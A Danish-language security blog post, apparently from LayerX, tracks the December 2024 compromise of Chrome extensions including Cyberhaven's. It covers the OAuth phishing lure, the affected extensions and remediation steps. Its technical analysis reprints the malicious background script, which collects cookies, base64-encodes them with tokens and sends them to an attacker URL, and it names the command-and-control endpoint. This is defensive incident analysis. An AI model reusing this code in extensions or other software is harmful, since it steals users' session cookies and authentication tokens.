Sidst opdateret: 30. december 2024

Denne blogtråd sporer den udfoldede globale angrebskampagne, der er målrettet mod browserudvidelser på Chrome Webshop. Vi vil opdatere nye detaljer, når de bliver tilgængelige.

Resumé

Den 27. december 2024 afslørede cybersikkerhedsstartup Cyberhaven, at et angreb har kompromitteret dens browserudvidelse og injiceret ondsindet kode i den. Da detaljerne om dette angreb dukkede op, blev yderligere kompromitterede browserudvidelser hurtigt opdaget, med mere end 25 udvidelser, der i øjeblikket vides at være blevet påvirket.

Livetråden nedenfor forklarer alle de detaljer, vi kender, hvilke udvidelser der er blevet påvirket, hvordan organisationer skal beskytte sig selv, og hvordan LayerX hjælper sine kunder med at håndtere udvidelser, der er kompromitteret af dette angreb.

Hurtige links i dette dokument:

  • Hvordan angrebet blev opdaget
  • Hvordan angrebet blev udført
  • Teknisk analyse af angrebet
  • Yderligere påvirkede udvidelser
  • Sådan beskytter du dig selv
  • Hvordan LayerX hjælper kunder med at beskytte sig selv
  • Gratis revision og afhjælpning af kompromitterede udvidelser

Hvordan angrebet blev opdaget

Den 27. december 2024 underrettede Cyberhaven sine kunder om et sikkerhedsbrud, der førte til kompromittering af legitimationsoplysningerne for en Cyberhaven-medarbejder, som blev brugt til at skubbe en ondsindet version af Cyberhavens browserudvidelse til Chrome Store. Cyberhaven Security Extension har i øjeblikket over 400,000 brugere, som formentlig var påvirket af dette brud.

Nyheden om hændelsen var første rapport fra cybersikkerhedsbloggen Vulnu, som fik en kopi af Cyberhaven't-e-mail til kunder.

Ifølge Cyberhavens analyse kompromitterede et phishing-angreb den 24. december en af ​​deres ansatte, hvilket resulterede i, at angribere fik adgang til virksomhedens browserudvidelse på Chrome Web Store.

Angribere udnyttede derefter denne adgang til at uploade en ondsindet version af Cyberhavens browserudvidelse og opdaterede den i Chrome Store i de tidlige timer den 25. december.

Ifølge Cyberhaven blev den ondsindede opdatering opdaget omkring et døgn senere, og den ondsindede kode blev fjernet i de tidlige timer den 26. december. Alt i alt var den ondsindede version online i lidt over 24 timer.

Men da det begyndte at vise sig, at yderligere udvidelser blev kompromitteret, blev det tydeligt, at Cyberhaven-angrebet ikke var et isoleret angreb, der kun var rettet mod dette firma, men snarere en del af en omfattende kampagne. 

Dette gør analysen af ​​Cyberhaven-hændelsen relevant for at forstå kampagnen som helhed.

Hvordan angrebet blev udført

Admin-kontoen til Cyberhaven-browserudvidelsen blev kompromitteret via et målrettet phishing-angreb, hvilket gjorde det muligt for den angrebne at udgive en ondsindet version af den.

Da denne hændelse ikke kun var et engangsangreb, men en del af en kampagne rettet mod flere udvidelser, mener vi, at den phishing-tilgang, der blev brugt til at angribe Cyberhaven, også blev replikeret med alle andre udvidelser.

Den mest sandsynlige kilde til mål for phishing-kampagnen er selve Chrome Webshop.

For hver udvidelse giver Chrome Store oplysninger om udvidelsesudgiveren sammen med en kontakt-e-mailadresse:

 

 

Eksempel på kontaktoplysninger for Cyberhaven-browserudvidelsen fra Chrome Webshop

Ved at bruge disse e-mailadresser sendte angribere forfalskede e-mails, der foregav at være på vegne af Google, og advarede modtagere om "overtrædelser" på deres konti.

Dette er en kopi af phishing-e-mailen sendt til Cyberhaven, som virksomheden har leveret som en del af deres teknisk analyse af hændelsen:

Lignende e-mails er dog også dukket op fra andre kilder: a tråd på Chromium.org diskussionsgruppen spurgt om en mistænkelig e-mail, de angiveligt har modtaget fra Google, for at forstå, om dette er et phishing-forsøg:

Browserudvidelsesangreb 2024

Denne e-mail er næsten identisk med den, der kompromitterede Cyberhaven (selv om den angiver en anden årsag til "overtrædelse"), hvilket indikerer, at den var en del af den samme phishing-kampagne. Ifølge opslaget blev denne e-mail modtaget den 23. december, lige omkring det tidspunkt, hvor Cyberhaven blev brudt.

Når det tilsigtede mål klikkede på e-mail-linket, blev de ført til en Google-godkendelsesformular for at tilføje en OAuth Google-applikation med navnet "Privatlivspolitikudvidelser".

auth

At følge denne godkendelsesproces vil føre til godkendelse af den ondsindede tredjeparts OAuth-applikation og give den adgang til ofrets Chrome Webshop-konto. Men på grund af den måde, hvorpå angrebet blev opbygget, behøvede angriberne ikke selv at kompromittere kontooplysningerne (dvs. adgangskoden), bare 'piggyback' på de tilladelser, der blev givet af det ondsindede program.

Teknisk analyse af angrebet

Da angriberne fik adgang til offerets Web Store-konto, injicerede de kode i udvidelsens worker.js-fil for at få adgang til en ekstern URL (cyberhavenext[.]pro) og downloade en ekstern konfigurationsfil.

Hver gang browseren ville blive lanceret, ville udvidelsen hente en konfigurationsfil fra en ekstern server. Denne fil styrer udvidelsens adfærd og kan opdateres dynamisk af angriberen, så de kan diktere det og hvornår handlinger opstår. angriberen kan skift konfigurationsfilen til enhver tid, hvilket giver dem mulighed for dynamisk at tilpasse angrebet til forskellige miljøer eller mål. Dette er nøglen til angrebets fleksibilitet.

Nedenfor er et eksempel på en sådan kode:

Browserudvidelser angriber ondsindet kode

Nøgleindsigter fra koden:

  1. Injiceres på tværs af flere forlængelser: Den ondsindede kode er ikke begrænset til en enkelt udvidelse. I stedet er det blevet injiceret i flere udvidelser, hvor hver udvidelse henter sin egen unikke konfigurationsfil. Denne strategi giver angriberen mulighed for at diversificere angrebsvektorerne, tilpasse adfærd til forskellige udvidelser og gøre detektion mere udfordrende.
  2. Tilbagevendende adfærd: Konfigurationshentningen finder sted, hver gang browseren startes, hvilket sikrer, at hver udvidelse altid fungerer med de seneste instruktioner fra angriberen.
  3. Vildledende navngivning: Koden bruger variabel- eller attributnavne, som f.eks cyberhavenext_ext_manage, der indeholder virksomhedens navn. Dette får det til at virke legitimt for udviklere, der inspicerer udvidelsens lager eller kode.
  4. Misbrug af lokalt lager: Ved at gemme konfigurationsdataene i chrome.storage.local, sikrer angriberen vedholdenhed. Udviklere, der inspicerer disse data, kan fejlagtigt stole på dem på grund af brugen af ​​velkendte eller troværdigt klingende navne.
  5. Dynamisk kontrol: Slutpunktet (https://cyberhavenext.pro/ai-cyberhaven) giver angriberen mulighed for at ændre konfigurationsfiler for hver udvidelse til enhver tid, hvilket giver fuld kontrol over funktionaliteten og adfærden for hver inficeret udvidelse.
  6. Tilpassede konfigurationer: Hver udvidelse henter en unik konfiguration, hvilket gør den ondsindede adfærd sværere at generalisere og opdage. Denne tilgang tillader skræddersyede angreb baseret på udvidelsens specifikke formål eller brugerbase.

Derudover tilføjede koden en ny fil (content.js) til udvidelserne, som bruges til at indsamle brugerdata på websteder og eksfiltrere dem til et eksternt websted. Baggrundsscriptet i udvidelsen fungerer som en central controller, der håndterer indgående beskeder fra indholdsscripts og udfører forskellige handlinger baseret på disse beskeder. Følgende kodestykke viser en fleksibel struktur, der venter på at behandle flere typer anmodninger:

chrome.runtime.onMessage.addListener(((t, e, a) => {
switch (t.action) {
case"cyberhavenext-completions":
fetch("<https://chatgpt.com/status/>", {
method: "POST",
headers: {"Content-Type": "application/json", Authorization: `Bearer ${t.key}`},
body: JSON.stringify({prompt: "check", max_tokens: 150})
}).then((t => t.json())).then((t => a(t))).catch((t => {
}));
break;
case"cyberhavenext-redirect":
fetch(t.url).then((t => t.redirected)).then((t => a(t))).catch();
break;
case"cyberhavenext-validate":
fetch(t.url, {
method: "POST",
headers: {
Accept: "application/json, application/xml, text/plain, text/html, *.*",
"Content-Type": "application/json"
},
body: JSON.stringify(t.pl)
}).then((t => t.json())).then((t => a(t))).catch((t => {
}));
break;
case"cyberhavenext-rtext":
fetch(t.url).then((t => t.text())).then((t => a(t))).catch();
break;
case"cyberhavenext-rjson":
fetch(t.url).then((t => t.json())).then((t => a(t))).catch();
break;
case"cyberhavenext-check-errors":
const e = t.pl;
let n = e.dm;
chrome.cookies.getAll({domain: n}, (n => {
if (n.length > 0) {
const o = n.map((t => ({
domain: t.domain,
expirationDate: t.expirationDate || null,
hostOnly: t.hostOnly,
httpOnly: t.httpOnly,
name: t.name,
path: t.path,
sameSite: t.sameSite || null,
secure: t.secure,
session: t.session,
storeId: t.storeId || null,
value: t.value
}))), c = e.n;
let s = "";
try {
s = btoa(JSON.stringify(e.openapi_u))
} catch (t) {
}
const i = e.openapi_tk + " || " + JSON.stringify(o) + " || " + btoa(navigator[c]) + " || " + e.uid + " || " + s + " || || " + e.k,
r = {ms1: btoa(i), ms2: JSON.stringify(e.cyberhavenext_cx), ms3: JSON.stringify(e.gpta)},
l = t.url;
fetch(l, {
method: "POST",
headers: {
Accept: "application/json, application/xml, text/plain, text/html, *.*",
"Content-Type": "application/json"
},
body: JSON.stringify(r)
}).then((t => t.json())).then((t => a(t))).catch((t => {
}))
}
}))
}
return !0
}))

Scriptet bruger chrome.runtime.onMessage.addListener at behandle en række handlinger. Hver handling definerer en bestemt adfærd, såsom at lave netværksanmodninger.

Når "cyberhavenext-check-errors” handling påkaldes, henter angriberen følsomme cookies vha chrome.cookies.getAll angriberen kombinerer også disse data med andre oplysninger (som navigator[c] og e.uid) vil angriberen skjule indholdet ved hjælp af btoa() for at konvertere det til base64. Dette gør dataene mindre læsbare i netværksovervågningsværktøjer, hvilket tilføjer et lag af sløring.

Ved at indlejre disse handlinger i baggrundsscriptet sikrer angriberen, at:

  • Den ondsindede aktivitet er uafhængig af brugerinteraktioner.
  • Det sker stille og roligt i baggrunden, hvilket gør det sværere at opdage.
Analyse, som Cyberhaven udførte på udsatte endepunkter, indikerer, at den ondsindede kode fokuserede specifikt på cookies og autentificeringstokens for Facebook, og især - Facebook-virksomhedskonti:

Ifølge Cyberhaven inkluderede de målrettede data Facebook-adgangstokens, bruger-id'er, kontooplysninger og Facebook Ads-kontooplysninger.

Yderligere påvirkede udvidelser

Når URL'en på den ondsindede C&C-server blev identificeret, brugte sikkerhedsforskere omvendt DNS til at identificere yderligere domæner, der blev løst til den samme IP-adresse. Dette førte til opdagelse af yderligere kompromitterede browserudvidelser og afslørede omfanget af denne angrebskampagne.

I øjeblikket har mere end 25 browserudvidelser med en installationsbase på over 2.3 millioner brugere vist sig at være kompromitteret:

  • AI Assistant – ChatGPT og Gemini til Chrome
  • AI Shop Buddy
  • Bard AI chat
  • Bogmærke Favicon Changer
  • Castorus
  • ChatGPT Assistant – Smart søgning
  • Cyberhaven sikkerhedsudvidelse V3
  • Tjen – op til 20 % kontant tilbage
  • E-mail Hunter
  • GPT 4-oversigt med OpenAI
  • GraphQL netværksinspektør
  • Internxt VPN
  • Keyboard History Recorder
  • Papegøjesamtaler
  • Primus
  • Reader-tilstand
  • Rewards Search Automator
  • Søg Copilot AI Assistant til Chrome
  • Sorter efter ældste
  • Tackker – online keylogger-værktøj
  • TinaMind – Den GPT-4o-drevne AI-assistent!
  • Uvoice
  • VidHelper – Video Downloader
  • Vidnoz Flex – Videooptager og videodeling
  • Visuelle effekter til Google Meet
  • VPNCity
  • Wayin AI

Sådan beskytter du dig selv

Selvom tekniske analyser indtil videre har vist, at det primære formål med denne kampagne har været tyveri af Facebook-legitimationsoplysninger og adgangstokens, er det umuligt at udelukke eksponeringen af ​​legitimationsoplysninger for yderligere websteder.

Det er derfor, LayerX anbefaler følgende handlinger til alle berørte brugere:

  1. Fjern berørte browserudvidelser: Sørg for, at alle berørte udvidelser er fjernet og/eller blokeret. Nogle af udvidelserne har allerede uploadet opdaterede versioner, der fjernede den ondsindede kode, men ikke alle. Desuden vil alle kompromitterede udvidelser, der allerede er blevet downloadet, forblive synlige, indtil brugeren opdaterer udvidelsesversionen. Derfor er det vigtigt aktivt at deaktivere alle potentielt eksponerede udvidelser.
  2. Opdater alle udvidelser til de nyeste versioner: i tilfælde af at en rettelse er blevet udstedt af udgiveren, er det vigtigt at opdatere den installerede version af udvidelsen så hurtigt som muligt (forudsat at den ikke allerede er blevet fjernet)
  3. Slet alle berørte brugeres cookies: Da angrebet var rettet mod cookies og adgangstokens på websteder, er det bydende nødvendigt at slette alle eksisterende cookies og opdatere adgangstokenserne.
  4. Roter adgangskoder: Som en bedste praksis anbefales det også at opdatere alle adgangskoder for berørte brugere for at sikre, at ingen adgangslegitimationsoplysninger efterlades kompromitteret.

Hvordan LayerX hjælper sine kunder

  1. Opdagelse af udsatte udvidelser: Siden Cyberhaven-hændelsen blev afsløret, har sikkerhedsforskere over hele verden arbejdet på at identificere yderligere kompromitterede udvidelser. LayerX har været aktiv i denne indsats, opdaget en række sådanne udvidelser og også kombineret det med offentligt tilgængelig information.
  2. Registrering af ondsindede udvidelser implementeret i kundernes netværk: LayerX har løbende opdateret sine lister over ondsindede udvidelser til at inkludere udvidelser, der er opdaget at være blevet kompromitteret af dette brud. Hver gang en sådan udvidelse opdages, bliver kunderne straks advaret. Derudover har LayerX aktivt nået ud til berørte kunder for at advare dem om disse resultater.
  3. Implementering af automatiske håndhævelsespolitikker: LayerX har opdateret kundepolitikker for automatisk at deaktivere enhver kendt kompromitteret udvidelse.
  4. Sletning af udsatte brugeres cookies: på brugerens anmodning kan LayerX aktivt gennemtvinge sletning af cookies på eksponerede brugere og derved nulstille cookies og autentificeringstokens.
  5. Tving adgangskoderotation for udsatte brugere: LayerX kan også implementere sikkerhedspolitikker for at tvinge rotation af adgangskoder på udsatte brugere for at sikre, at ingen adgangsoplysninger forbliver synlige.

Gratis revision og afhjælpning af kompromitterede udvidelser

På grund af bredden og omfanget af dette angreb tilbyder LayerX organisationer, der er berørt af dette angreb (eller er bekymrede for at blive potentielt påvirket) gratis revision og afhjælpning af browserudvidelser.

Denne revision omfatter:

  • Opdagelse af alle browserudvidelser installeret i dit miljø
  • Kortlægning af hvilke brugere der har hvilke udvidelser installeret på deres endepunkter
  • Detaljeret risikoscoring af hver browserudvidelse
  • Fjernelse af kompromitterede ondsindede browserudvidelser
  • Rotation af brugercookies og adgangskoder, hvis det er nødvendigt

Klik her at tilmelde sig denne vurdering.